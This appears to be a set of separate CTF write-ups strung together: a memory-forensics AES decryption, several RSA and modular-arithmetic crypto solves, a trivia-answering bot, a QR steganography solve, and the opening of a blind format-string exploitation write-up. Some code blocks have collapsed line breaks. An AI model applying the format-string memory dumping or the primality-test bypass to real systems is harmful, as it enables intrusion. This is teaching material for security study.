```c#public byte[] function02(string string_0) { SymmetricAlgorithm symmetricAlgorithm = this.function01(); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); byte[] bytes = new UnicodeEncoding().GetBytes(string_0.PadRight(string_0.Length % 8, char.MinValue)); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.FlushFinalBlock(); memoryStream.Position = 0L; byte[] array = memoryStream.ToArray(); string_0 = (string) null; cryptoStream.Close(); memoryStream.Close(); GC.Collect(); GC.WaitForPendingFinalizers(); return array; }``` Seems like it's a wrapper for the rest of the module. Lets have a closer look at what symmetricAlgorithm is: ```c# private SymmetricAlgorithm function01() { RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.KeySize = 256; rijndaelManaged.IV = this.byte_1; rijndaelManaged.Key = this.byte_0; return (SymmetricAlgorithm) rijndaelManaged; }``` OK then, kids won't remember but [Rijndael is the original name for AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard). What we have here is garden variety AES running in CBC. We also see that ```IV``` and ```key``` are part of a ```Crypto``` instance. So how are they determined? Well this is where ```function03``` comes in: ```c#public void function03() { byte[] binaryForm = new byte[28]; WindowsIdentity.GetCurrent().User.GetBinaryForm(binaryForm, 0); this.byte_1 = new byte[16]; Array.Copy((Array) binaryForm, 0, (Array) this.byte_1, 0, 16); this.byte_0 = new byte[32]; Array.Copy((Array) binaryForm, binaryForm.Length - 16, (Array) this.byte_0, 0, 16); Array.Copy((Array) binaryForm, binaryForm.Length - 16, (Array) this.byte_0, 16, 16); } ``` I had to do some digging to understand the ```WindowsIdentity``` part. Turns out it essentially returns the SID of the current user. More info can be found [here](https://docs.microsoft.com/en-us/dotnet/api/system.security.principal.windowsidentity.getcurrent?view=netframework-4.8). So in other words, the program uses the current user's ```SID``` as ```key``` and ```IV```. So all we need is the ```SID``` at runtime and we're golden. But how do we do that? Yup, there's a function for that. ```getsids``` will retrieve what you need. ```converter.exe (2308): S-1-5-21-2947568794-2193893069-2968809547-1000 (ALLES)converter.exe (2308): S-1-5-21-2947568794-2193893069-2968809547-513 (Domain Users)````
Ding ding din we got a winner. After retrieveing I played around with a simple function on my local machine to check my own SID and make sure that's what was being used here and because it also seemed easier than rewrite the function in python. Plus I like c#: ```c#using System;using System.Security.Principal;
namespace ConsoleApp1{ class Program { static void Main(string[] args) { byte[] byte_0; byte[] byte_1; byte_0 = new byte[32]; byte_1 = new byte[16]; byte[] binaryForm = new byte[28]; SecurityIdentifier testi = new SecurityIdentifier("S-1-5-21-2947568794-2193893069-2968809547-1000"); testi.GetBinaryForm(binaryForm, 0); Array.Copy((Array)binaryForm, 0, (Array)byte_1, 0, 16); Array.Copy((Array)binaryForm, binaryForm.Length - 16, (Array)byte_0, 0, 16); Array.Copy((Array)binaryForm, binaryForm.Length - 16, (Array)byte_0, 16, 16);
string converted = BitConverter.ToString(byte_0); string converted2 = BitConverter.ToString(byte_1);
Console.WriteLine(converted); Console.WriteLine(converted2);
} }}```
What this does is return the hexstring for both ```key``` and ```IV```. At this point just use python to decrypt:
```pythonfrom Crypto.Cipher import AESmode = AES.MODE_CBCencryptor = AES.new(key, mode, IV=IV)encryptor.decrypt(ct.decode('base64'))```
At first glance I got garbage. Then I noticed that the plaintext was simply littered with `\x00`s. Removing those yielded the flag. Probably could have gleaned that from the source code but why bother when it's so easy?
### Part 3
Sadly we had a wedding that night which meant I didn't have any more time. So I didn't solve the last part but found it a day later though I had to look at another writeup to fully get it. Turns out there is a weird filename in the file list:
```\Device\HarddiskVolume2\Program Files\D9f\gCFhd\yxEUQSFyoHU1ybvQ0S9TOOwUWFCR+HWh+YicMXXJ2hzO39bjKEbONClpsoTzUtfuC86APEJGe46byt7fmJGBEkmrtktbMIZ5Mk4LnGFkyNVkAwEKm\O7dnFs7JKPrXrI9Co8Z4ULFf1UzT1cK5wFiIONE\0t33K+0.bat```
And running ```screenshots``` also displays an open window with part of that filepath shown, so I guess there were enough hints. What I found to be a stretch was that the path had to be truncated, the ```\``` replace with ```/``` and finally padded to yield:
```D9f/gCFhd/yxEUQSFyoHU1ybvQ0S9TOOwUWFCR+HWh+YicMXXJ2hzO39bjKEbONClpsoTzUtfuC86APEJGe46byt7fmJGBEkmrtktbMIZ5Mk4LnGFkyNVkAwEKm/O7dnFs7JKPrXrI9Co8Z4ULFf1UzT1cK5wFiIONE/0t33K+0=```
Which then had to be decoded using the encryption service from part 2. There were a lot of assumptions there, not the least of which that it was the same user. I would have enjoyed some added twist here like for example an environment variable pointing to a fake SID and a function not unlike the one I wrote it to convert it to a WindowsIdentity token to be used for encryption. It felt like a bit of a letdown.
## Conclusion
Be that as it may, I loved solving the challenge and I learned a ton. Definitely would recommend this as a begginer-friendly challenge if you want to become more familiar with volatiliy :)
|
Power=====
Category: crypto
Points: 208
Solves: 19
Statement---------
RSA is to boring. Raise to the power of x instead.
[power.py](http://static.allesctf.net/power-7919baccbb5643b6bf263d5f026709e6030980a15c3d6b49ef1eb5b52c0ee64a.py)
```nc hax.allesctf.net 1337```
Solution--------
Given server will ask us for a number ```x``` and respond with ```x**x modulo p```, where ```p``` is some secret prime value. Additionally, we are given a ```challenge``` value everytime we are asked to send ```x```. If we manage to send such value, that ```x**x modulo p = challenge```, we will be rewarded with a flag.
Obviously, our first task is to find the value ```p```, which is unknown to us. We can do this using pretty standard method: send some value ```x``` such that ```x**x > p```. The value we get as a response will be equal to ```x``` minus some multiple of ```p```. This means that ```x**x - response``` will be a multiple of ```p```. Calculating this value for several different ```x``` and taking GCD of them will result in ```p```.
The harder part will be to actually find an ```x``` value such that ```x**x modulo p = challenge```, once we know ```p```. The solution here is very simple and elegant, yet tricky. As we can send arbitrarily large number (not necessarily smaller than ```p```) we can use the fact, that ```k*p + x modulo p = x``` for any integer ```k```. Also from Fermat's theorem we know that ```a ** (p - 1) modulo p = 1```. Therefore ```a ** l(p - 1) modulo p = 1``` for any integer ```l```. Therefore if we can find ```x``` such that ```x = l*(p - 1) + 1``` and ```x = k*p + challenge``` (1), then ```x ** x modulo p = x ** (l(p - 1) + 1) modulo p = x ** 1 modulo p = k*p + challenge modulo p = challenge``` and we are done.
To find ```x``` satisfying (1) we simply have to solve congruences: ```x = 1 modulo (p - 1)``` and ```x = challenge modulo p```, which can be done easily using either chinese remainder theorem or just simple arithmetics.
Flag: ```ALLES{n0t_100%_elgamal_but_cl0s3}``` |
Writeup from author with source code attached.Unfortunatly no solves on this one :(
[https://github.com/0x4d5a-ctf/Writeups/tree/master/2019/Camp2019/licpwn_2/documentation](https://github.com/0x4d5a-ctf/Writeups/tree/master/2019/Camp2019/licpwn_2/documentation) |
Challenge: Win Tux Trivia Show!Written by: Tuxnc chall2.2019.redpwn.net 6001
When you connect to the server, all it says is:
"Welcome to Tux Trivia Show!!!" and then asks what the capital of a country is.I wasnt sure how many times it would ask, but after it seemed to be over 500, it was likely to ask 1000 questions.
I wrote two functions to solve this problem.The first function gets a query (about the capital of a country) and searches google for it.After querying google, the script scrapes the results for the capital of the country/state, and then returns it.There were very few edge cases which are also handled in the script!
After setting this up, I set up communications with the server to read the question, query google, and return the capital to the country.One problem I had was sending requests to google too often (which resulted in a temporary IP ban), so I connected to a VPN and ran the script againbut this time I set up a dictionary which cached all of the queries I already sent, which sped up the script and let me solve the challenge.eventually I got a response with: "Here is your flag: flag{TUX_tr1v1A_sh0w+m3st3r3d_:D}"
```Pythonimport timeimport socketimport requests as reqfrom bs4 import BeautifulSoup
def answer_trivia(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('chall.2019.redpwn.net',6001)) i = 0 #grabs the intro phrase from the server #and skips it: "Welcome to Tux Trivia Show!!!" data = sock.recv(30) cache = {} while True: data = sock.recv(1024) d = data.decode('utf-8').strip() print(d) if "flag" in d: print(d) elif "Correct" in d: pass elif "INCORRECT" in d: pass else: country = d[d.index('of') + 3:d.index('?')] # I made a cache for the country:capital values bc I was pissing google off with too many queries if country in cache: reply = cache[country].encode('utf-8') print(reply) sock.send(reply)
this block handles querying normally else: reply = get_country_capital(d) print(reply) try: cache[country] = reply sock.send(reply.encode('utf-8')) i += 1 except: print(i) if (not data): break
def get_country_capital(query): #handles all edge cases I seemd to have if query == "What is the capital of Kazakhstan?": return "Astana" if query == "What is the capital of Ukraine?": return "Kiev" if query == "What is the capital of Switzerland?": return "Bern" if query == "What is the capital of Minnesota?": return "St. Paul" if query == "What is the capital of Marshall Islands?": return "Majuro" if query == "What is the capital of New York?": return "Albany"
if query == "What is the capital of Kuwait?": return "Kuwait City" r = req.get("https://www.google.com/search?q="+query) soup = BeautifulSoup(r.text, "html.parser") divs = soup.find_all("div") for item in divs: if(len(item.text) > 30): continue else: if "BNeawe" and "AP7Wnd" in str(item): if "/" in item.text: continue else: if ("-" and "Wikipedia") in item.text: return item.text[:item.text.index('-')] else: return item.text answer_trivia()``` |
ASIS members conducted excellent crypto CTF.I will recommend everyone to solve it by themselves ,you will learn new concepts by solving them.[Link to the challenges](https://cryp.toc.tf/challenges)
Here are some of them I was able to solve it.
## roXen -:> description:
Relationship with a cryptographer!The Girlfriend: All you ever care about is crypto! I am sick of it! It's me or crypto!
The Cryptographer boyfriend: You meant to say it's you [XOR](roXen.py) cryptography.
The Girlfriend: I am leaving you.
22 solves
### Solution: The given script:
```python#!/usr/bin/env python
from Crypto.Util.number import *from secret import exp, flag, nbit
assert exp & (exp + 1) == 0
def adlit(x): l = len(bin(x)[2:]) return (2 ** l - 1) ^ x
def genadlit(nbit): while True: p = getPrime(nbit) q = adlit(p) + 31337 if isPrime(q): return p, q
p, q = genadlit(nbit)e, n = exp, p * q
c = pow(bytes_to_long(flag), e, n)
print 'n =', hex(n)print 'c =', hex(c)```Lets, start from the top:
So exp&(exp+1)==0 that just means exp must be a [Mersenne number](http://mathworld.wolfram.com/MersenneNumber.html). Then adlit(x) is returning the xor of passed number with the next biggest possible number with same length of bits which means basically that returned number contains reversed bits of passed number.
Then i realised that it's nothing difficult if you know the bits length you can just subtract the number from that max length bit number.>For eg. adlit(44) + 44 = 63, adlit(120) +120 =127.Simple isn't it
So we know n is 2048 bits long so p and q might be 1024 bits prime number.Let's check for it. `p+adlit(p)==2**1024-1`So we get two equations from here `p+q=2**1024+31336` and `p*q=n`. Two equations two vars->quadratic `p**2 -(2**1024 +31336)*p + n = 0`. Sympy will do the work.Using solve() for quadratic function we get: ```p = 91934396941118575436929554782758166784623142015203107928295225306949429527662253180027648166060067602233902389535868116051536080388999480377007211745229221564969130373120800620379012435790356909945473565305296926519232706950561924532325538399351352696805684504904629096892037592742285758390953849377910498739q = 87834916545113015336000964296144306577174555879027549345134855850783246277838709952680829156347468418886211490335525241607253688425417142115840218894244902812798763051744684655923207165455737209507609386779708842318917975391900956941587572141475884466544826179681669143055208345737430546444402480246313669813```That was long thinking much left to travel ::wink::
Then, bruting public exponent
```pythonwhile i : i+=1 e=2**i-1 if(gcd(e,h)==1): d=invert(e,h) if "CCTF" in (long_to_bytes(pow(c,d,n))): print (long_to_bytes(pow(c,d,n))) exit(0)```No result it went further around 100000 bits.I was quite sure that it should be less than 2048 as then it will be greater than n.Then I approached admin Factoreal for it. Then he told me what happen if gcd(e,phi) not equal to 1. So after tinkering around with my teammates I come to the point that's not possible LOL because we don't know but then I realised it that I can use CRT for it but it would become complicated maybe some simple approach will do then my teammate told me we can use precision for it. And we solved this after solving Clever girl question which boosted up our confidence for going with precision.
Note:We need to change the last char btw as precision was not too good enough for it.
So here was the final [script](script.py):
```pythonfrom Crypto.Util.number import *import gmpy2import pwn
gmpy2.get_context().precision=10000
def adlit(x): l = len(bin(x)[2:]) return (2 ** l - 1) ^ x
p = 91934396941118575436929554782758166784623142015203107928295225306949429527662253180027648166060067602233902389535868116051536080388999480377007211745229221564969130373120800620379012435790356909945473565305296926519232706950561924532325538399351352696805684504904629096892037592742285758390953849377910498739q = 87834916545113015336000964296144306577174555879027549345134855850783246277838709952680829156347468418886211490335525241607253688425417142115840218894244902812798763051744684655923207165455737209507609386779708842318917975391900956941587572141475884466544826179681669143055208345737430546444402480246313669813n = 0x3ff77ad8783e006b6a2c9857f2f13a9d896297558e7c986c491e30c1a920512a0bad9f07c5569cf998fc35a3071de9d8b0f5ada4f8767b828e35044abce5dcf88f80d1c0a0b682605cce776a184e1bcb8118790fff92dc519d24f998a9c04faf43c434bef6c0fa39a3db7452dc07ccfced9271799f37d91d56b5f21c51651d6a9a41ee5a8af17a2f945fac2b1a0ea98bc70ef0f3e37371c9c7b6f90d3d811212fc80e0abcd5bbefe0c6edb3ca6845ded90677ccd8ff4de2c747b37265fc1250ba9aa89b4fd2bdfb4b4b72a7ff5b5ee67e81fd25027b6cb49db610ec60a05016e125ce0848f2c32bff33eed415a6d227262b338b0d1f3803d83977341c0d3638fc = 0x2672cade2272f3024fd2d1984ea1b8e54809977e7a8c70a07e2560f39e6fcce0e292426e28df51492dec67d000d640f3e5b4c6c447845e70d1432a3c816a33da6a276b0baabd0111279c9f267a90333625425b1d73f1cdc254ded2ad54955914824fc99e65b3dea3e365cfb1dce6e025986b2485b6c13ca0ee73c2433cf0ca0265afe42cbf647b5c721a6e51514220bab8fcb9cff570a6922bceb12e9d61115357afe1705bda3c3f0b647ba37711c560b75841135198cc076d0a52c74f9802760c1f881887cc3e50b7e0ff36f0d9fa1bfc66dff717f032c066b555e315cb07e3df13774eaa70b18ea1bb3ea0fd1227d4bac84be2660552d3885c79815baef661
assert isPrime(p)assert isPrime(q)assert adlit(p) + 31337 == qassert p*q == n
h = (p-1)*(q-1)
for i in range(4096): e = 2**i - 1 f = gmpy2.gcd(e,h) try: d = gmpy2.invert(e//f,h) m = long_to_bytes(pow(gmpy2.mpz(pow(c,d,n)),1/f)) #print(pow(gmpy2.mpz(pow(c,d,n)),1/3)) if b"CCTF" in m: print("i = ", i) print(m) except: continue ``` >Flag:CCTF{it5_3a5y_l1k3_5uNd4y_MOrn1N9} ## Clever Girl -:> description:
There is no barrier to stop a [clever girl](clever_girl.py)!
33 solves
### Solution:
The given script:```python#!/usr/bin/env python
import gmpy2from fractions import Fractionfrom secret import p, q, s, X, Yfrom flag import flag
assert gmpy2.is_prime(p) * gmpy2.is_prime(q) > 0assert Fraction(p, p+1) + Fraction(q+1, q) == Fraction(2*s - X, s + Y)print 'Fraction(p, p+1) + Fraction(q+1, q) = Fraction(2*s - %s, s + %s)' % (X, Y)
n = p * qc = pow(int(flag.encode('hex'), 16), 0x20002, n)print 'n =', nprint 'c =', c```
So we were given n,c,x and y. This time there are three unknowns p,q and s. We now need to get three equations,first one is `p*q=n` and other two will get by equating numerator and denominator as they had lesser possiblity to have gcd() !=1 for which I did some maths for it. The next two are `n+q=s+y` and `2*n+p+q+1=2*s-x` . So my teammate get the values for it quickly.
`nonlinsolve([n+q - s - Y, 2*n+p+q+1-2*s+X, p*q-n], (p,q,s))`
And he was so amazed to tell me that we got p and q from it.
```(12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409, 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771, 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823138256432294313269203421659050140817247896562556361172161032623037006361409872307045649661542219054272855881029305328814299453639438693256941440232720246684)```
Then same thing what we did for roxen as here gcd(e,phi) is 2 So we used precision for it. For lower precision the result was like this:>b'CCTF{4L\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Then increasing it to 10000 we get the flag.
```python import gmpy2from Crypto.Util.number import *
gmpy2.get_context().precision=10000
p = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409q = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339c = 64166146958225113130966383399465462600516627646827654061505253681784027524205938322376396685421354659091159523153346321216052274404398431369574383580893610370389016662302880230566394277969479472339696624461863666891731292801506958051383432113998695237733732222591191217365300789670291769876292466495287189494assert p*q == n
h = (p-1)*(q-1)print(gmpy2.gcd(0x20002, h))d = gmpy2.invert(0x20002//2, h)print(long_to_bytes(gmpy2.sqrt(pow(c,d,n)))) ```
>Flag: CCTF{4Ll___G1rL5___Are__T4len73E__:P}
## Time Capsule -:> description:
You neither need 35 years nor even 20 years to [solve](time_capsule.py) this problem!
120 solves
### Solution:
The given script:```python#!/usr/bin/python
from Crypto.Util.number import *from secret import flag, n, t, z
def encrypt_time_capsule(msg, n, t, z): m = bytes_to_long(msg) l = pow(2, pow(2, t), n) c = l ^ z ^ m return (c, n, t, z)
print encrypt_time_capsule(flag, n, t, z)```
So we have four values c,n,t and z.This was most simple question, as we see z is unchanged. So I quickly xored the c with z then we have l^m for which we need to calcuate l only.
The value of l you can't calculate that fast.I wonder how they calculated it. Because pow(2,t) will be large enough as an exponent for 2. Then I think about fermat(literally), he concluded that pow(a,p-1,p)=1 if p is prime . But here it isn't The number n has 42 prime factors I get those factor from Elliptic Curve Method.
Then,I think why p-1 because its the euler totient of prime p. So, I can calculate totient of n in the same way easily.Here's the final [script](capsule.py)```pythonfrom Crypto.Util.number import *
c=30263951492003430418944035844723976843761515320480688994488846431636782360488888188067655841720110193942081554547272176290791213962513701884837856823209432209367951673301622535940395295826053396595886942990258678430777333636450042181585837395671842878310404080487115827773100028876775230121509570227303374672524063165714509957850966189605469484201028704363052317830254920108664916139026741331552127849056897534960886647382429202269846392809641322613341548025760209280611758326300214885296175538901366986310471066687700879304860668964595202268317011117634615297226602309205086105573924029744405559823548638486054634428n=16801166465109052984956796702219479136700692152603640001472470493600002617002298302681832215942994746974878002533318970006820414971818787350153626339308150944829424332670924459749331062287393811934457789103209090873472485865328414154574392274611574654819495894137917800304580119452390318440601827273834522783696472257727329819952363099498446006266115011271978143149347765073211516486037823196033938908784720042927986421555211961923200006343296692217770693318701970436618066568854673260978968978974409802211538011638213976732286150311971354861300195440286582255769421094876667270445809991401456443444265323573485901383t=6039738711082505929z=13991757597132156574040593242062545731003627107933800388678432418251474177745394167528325524552592875014173967690166427876430087295180152485599151947856471802414472083299904768768434074446565880773029215057131908495627123103779932128807797869164409662146821626628200600678966223382354752280901657213357146668056525234446747959642220954294230018094612469738051942026463767172625588865125393400027831917763819584423585903587577154729283694206436985549513217882666427997109549686825235958909428605247221998366006018410026392446064720747424287400728961283471932279824049509228058334419865822774654587977497006575152095818
factors=(15013,583343756982313,585503197547927,609245815680559,612567235432583,634947980859229,635224892351513,639438000563939,654170414254271,654269804672441,667954470985657,706144068530309,721443717105973,737993471695639,744872496387077,746232585529679,795581973851653,815694637597057,817224718609627,841183196554507,864339847436159,873021823131881,884236929660113,899583643974479,922745965897867,942872831732189,951697329369323,971274523714349,1017566110290559,1018452110902339,1025985735184171,1027313536626551,1059774237802229,1067609726096989,1070689247726159,1079289330417443,1098516592571807,1107673252158281,1108654254305327,1110918654474373,1111516996694389,1112193819715441)tot=1for prime in factors: tot*=prime-1l=pow(2,pow(2,t,tot),n)print(long_to_bytes(l^c^z))```Voila,Flag:`CCTF{_______________________________________________Happy_Birthday_LCS______________________________________________}`A nice flag |
In this crypto challenge with the following description:```Does hashing something multiple times make it more secure? I sure hope so. I've hashed my secret ten times with md5! Hopefully this makes up for the fact that my secret is really short. Wrap the secret in flag{}.
Note: Follow the format of the provided hash exactly
Hash: CD04302CBBD2E0EB259F53FAC7C57EE2```we were given an hash string to reverse but the problem is that this hash is the product of a 10 long hash chain, so it is the product of md5(md5(md5(...))). The only solution is to bruteforce it but we need some hint to avoid time waste. Reading further the description it says that the original string is *really* short, so we are allowed to bruteforce all ASCII character in increasing lenght sequence.
In the end the flag is:```flag{^}```
P.S. It is important to notice that whenever we reash an hash we must use it's uppercase form. |
Prejudiced Randomness 1 (and the idea behind 2)===============================================
Category: crypto
Points: 123 (easy) / 338 (hard)
Solves: 39 (easy) / 8 (hard)
Statement---------
I found new uber crypto that allows us to securely generate random numbers! Lets use this to play a very fair game of random chance. Win the game!
```nc hax.allesctf.net 7331```
[challenge.py](https://static.allesctf.net/prejudiced-2d332bfde033d72af2c04293710c90de7da93c1240b9e821810747dc9c195667.py)
Solution--------
We are given a strange, random-based game. The server asks us for a number ```n``` equal to a product of two big primes ```p``` and ```q```. Then it generates ```r```, which is kept secret from us, and then calculates the value ```s = r**2 modulo n``` and gives us the value of ```s```. We are tasked to find the square root of ```s``` modulo ```n```. Let's denote square root found by us as ```z```. The server tries to factor ```n``` by taking ```GCD(n, r - z)```. If server manages to factor ```n``` then we lose and if not then we win. In order to solve the easier part of the task, we must win at least 90% of the games and in order to solve the harder part of the task, we must lose at leat 90% of the games.
Why does this game even works?------------------------------
The first step towards solving the problem is to understand how does this game even works. Why does this method allows the server to factor ```n```? And why does this method only works 50% of the time?
First of all, it is important to know, that ```s``` will have 4 square roots modulo ```n```. It can be easily shown that for a prime moduli (eg. ```p```) there are always 0 or 2 square roots. If one of the square roots modulo ```p``` is ```r```, then the other one will be ```p - r```. Therefore ```s``` have two square roots modulo ```p``` and two square roots modulo ```q``` and any pair of these residues (one modulo ```p``` and one modulo ```q```) will result in a different residue modulo ```n``` being a square root of ```s``` (spoiler alert: as long as ```p != q```).
Now let ```r``` be the residue found by a server and ```z``` be the residue found by us. Their squares have the same residue modulo ```n```, so ```r**2 - z**2 = 0 modulo n```, so ```(r - z)(r + z) = 0 modulo n```. So ```(r - z)(r + z)``` is a multiple of ```n = p * q```. Also it's safe to asume, that neither ```p**2``` nor ```q**2``` divides ```(r - z)(r + z)```, because the server makes sure that our given ```p``` and ```q``` are large enough for this situation to be highly improbable. Therefore we have four, equiprobable situations:
* both ```p``` and ```q``` divide ```(r - z)```. Then ```GCD(n, r - z) = n``` and we win.* both ```p``` and ```q``` divide ```(r + z)``` and neither divide ```(r - z)```. Then ```GCD(n, r - z) = 1``` and we win.* one of the ```p``` and ```q``` divides ```(r - z)``` and the other one divides ```(r + z)```. The we lose, as the server can factor ```n```.
This illustrates, how this game is (seemingly) random and should result in a win-lose ratio equal to 1:1.
Few words before the actual solution------------------------------------
The title and description could make an impression that this task will require us to perform some rng prediction, but it turns out not to be the case here, as the rng used is python's SystemRandom, which uses system's urandom.
The challenge also requires us to take square roots of number modulo product of two primes. As stated earlier, one can find the square roots modulo ```p``` and ```q``` first, then using chinese remainder theorem combine them into a square root modulo ```n```. There are several methods to find square roots modulo prime number:
* As we can chose the number ```n```, the first method is to use specially prepared primes, eg. for primes of form ```4k + 3```, the solutions are actualy equal to ```+- s**((p + 1) / 4)```.* [Tonelli-Shanks algorithm](https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm) is probably the most popular one.* [Cipolla's algorithm](https://en.wikipedia.org/wiki/Cipolla%27s_algorithm) on the other hand is my favourite one. It's so simple and elegant, yet so ingenious. It's also a brilliant example of how thinking outside of the box (or outside of the field in this case :) ) can sometimes solve a problem.
The last algorithm has also another advantage: it's extremely easy to modify it to find square roots modulo prime powers (spoiler alert: this will be useful for us).
The easy solution-----------------
In the easier part of the task, we want to win as many games as possible. We must therefore guarantee, that it's not possible to factor our number. The server performs various checks to see if our input was not too cheesy (ie. if our n is really a product of two primes that are at least 512 bits large). The server however doesn't check if our selected primes are different. What would happen if we were to send an ```n``` equal to ```p * p```? It means that server will be able to factor our ```n``` iff both ```(r - z)``` and ```(r + z)``` are divisible by ```p```. This on the other hand means, that both ```r``` and ```z``` must be divisible by ```p```. The ```r``` however is selected uniformly randomly by the server, which means that with ```p``` 512 bits large, it is extremely improbable to happen. This can guarantee us to win (almost) 100% of the time!
The biggest problem I had to face was to actually implement the Cipolla's algorithm, which requires us to perform arithmetic operations in the extended field. The problem can be solved analogously to implementing complex numbers however. We can store each field element as pair of numbers ```(a, b)```, so that our element is equal to ```a + b * sqrt(v)``` where ```v``` is our non-residue. Now ```(a1, b1) + (a2, b2) = (a1 + a2 modulo n, b1 + b2 modulo n)``` and ```(a1, b1) * (a2, b2) = (a1 * a2 + v * b1 * b2 modulo n, a1 * b2 + b1 * a2 modulo n)```.
The code for addition and multiplication is below:
```pythondef mul(a, b, v, p): xa, ya = a[0], a[1] xb, yb = b[0], b[1] xr = (xa * xb + v * ya * yb) % p yr = (xa * yb + xb * ya) % p return (xr, yr)
def add(a, b, p): xa, ya = a[0], a[1] xb, yb = b[0], b[1] return ((xa + xb) % p, (ya + yb) % p)```
To raise our element to the power I used the exponentiation by squaring method, which doesn't differ from the one on regular numbers if we have multiplication implemented.
The square root part is here, although it's just a formula from linked wikipedia article rewritten as code:
```pythondef sqroot(s, p, k): #finding non-residue a = 1 while pow(a * a - s, (p - 1) // 2, p) != p - 1: a += 1 #the formula t = (p**k - 2 * p**(k-1) + 1) // 2 q = p**(k - 1) * (p + 1) // 2 pk = p ** k ld = a * a - s return (invert(2, pk) * pow(s, t, pk) * add(poww((a, 1), q, ld, pk), poww((a, -1), q, ld, pk), pk)[0]) % pk```
Full script can be found in ```prejudiced1.py``` file.
Flag: ```ALLES{m4ster_of_r4ndomn3zz_squ4red}```
The hard solution?------------------
Unfortunately, I wasn't able to crack this one entirely during the contest, but I firmly believe I know, what had to be done more or less. This time we want to lose as many games as possible. Let's think about what would happen if our given ```n``` could be a product of more than just 2 prime numbers (eg. ```k``` of them). As every prime gives us 2 distinct square roots, this means that the overall number of square roots modulo ```n``` would be ```2**k```, but still all of them but two can aid the server in finding a factor of ```n```. Therefore chances of winning drop to ```2**-(k-1)```. Therefore, as long as we could smuggle ```n``` being a product of, let's say, 7 primes, we are good.
And there is a good reason to believe that it's possible. The code uses a [Miller-Rabin primality test](https://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test), which is unbreakable (as long as well implemented :) ). And the last line of it's implementation looks very fishy:
```pythondef is_prime(n, rounds): if n % 2 == 0: return False d, s = n - 1, 0 while not d % 2: d, s = d >> 1, s + 1 return not any(test(a, d, n, s) for a in R.sample(range(1,314), rounds))```
Basically, they perform the test only using bases less than ```314```. This is a bad idea, because although there are approximately ```n/4``` witnesses for a composite ```n```, they are not uniformly distributed amongst numbers ```[0, n)```. Moreover, there are methods allowing to craft composite numbers that fail this test for given set of bases. On of the methods is described in [this article](https://www.sciencedirect.com/science/article/pii/S0747717185710425), though it's more like a mathematical concept, rather than a step by step tutorial, so there was still a lot of work to do in order to fully understand and utilize the idea in order to capture the hard part flag.
Therefore I leave the rest of the problem as an exercise to the reader :). I'm also not giving up on this problem yet, so maybe in the nearest future if I manage to crack this Miller-Rabin, you can expect a more detailed write-up for this part.
Conclusion----------
I must admit, from all the CTFs I've played so far, this must be one of my all-time favourite crypto challenges. The idea behind this random-based game is very interesting and the idea of exploiting concepts used in this task is something I haven't seen before in a CTF task. I really frankly wait for the next year's edition and hope for even more interesting problems to be found there :)
Cheers! |
# Prism```Do you have a prism to take a closer look?```Image:
You can see is a QR code but filled with some rainbow colors
After some inspection of colors, all the colors in the QR code is in full color
Example:```Full red in RGB value is (255,0,0)Full green in RGB value is (0,255,0)Full blue in RGB value is (0,0,255)Full purple in RGB value is (255,0,255)etc...```At first I think one of the color channel when its **0** then means that block should be **black**
After some investigation, I found each block is 22 X 22 pixels
So I wrote a [python script](solve.py) to get the RGB values of each block,
and then save the block to new image when the color channel is 0:
```pythonfor i in range(21): for j in range(21): r, g, b = rgb_im.getpixel((i*22,j*22)) if r == 0: new_image[0].paste(black,(i*22,j*22)) if g == 0: new_image[1].paste(black,(i*22,j*22)) if b == 0: new_image[2].paste(black,(i*22,j*22))new_image[0].save("red.png")new_image[1].save("green.png")new_image[2].save("blue.png")```After running the script, use `zbarimg` to get the flag:```# zbarimg red.png QR-Code:InnoCTF{N9GntE```But is part of the flag only
Therefore, I get QR for the `green.png` and `blue.png`:```# zbarimg green.png blue.png QR-Code:Pyy5mNT3VvjbpCQR-Code:HrtIC4lyls3DL}```Then I realized its use all color channel (RGB) and combine them
Alternately, you can just use [Stegsolve.jar](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)
Change the filter to Full red, green and blue:

And `zbarimg` gets the same result:```# zbarimg red.bmp green.bmp blue.bmpQR-Code:InnoCTF{N9GntEQR-Code:Pyy5mNT3VvjbpCQR-Code:HrtIC4lyls3DL}```
# Flag> InnoCTF{N9GntEPyy5mNT3VvjbpCHrtIC4lyls3DL} |
# WRITEUP BLACK ECHO (blind format string)
## __Author:__ bytevsbyte @ beerpwn team
There wasn't any executable to download, just a service running on the server.\When I tried to connect with netcat and send some bytes, the server replied echoing my input.\Then I sent some "%p" to check if it was a format string vulnerability.It returned some pointer in hexadecimal and I was sureit was a format string.. a blind format string!!
## DUMP THE EXECUTABLE
The idea was to steal a big part of the executable to find interesting stuff and addresses.I used the "%s" in the format string to print out some bytesfrom memory starting at a specific address.The printf evaluate the string and when it finds the first %sit takes the pointer after the format string (is 32 bits, so it's on the stack).\Find exactly the location of the target argument (address that the %s refers to)it's a bit tricky and using directly the %s it's a pain.It's easier trying first without the %s,with something like "AAAA %p %p %p %p...",counting how many __characters__/__bytes__ come firstthe 0x41414141 in the output, that is the right offset to reach the AAAA(a future memory address).\To verify the offset can be used also the %OFFSET$p (where OFFSET is a number).

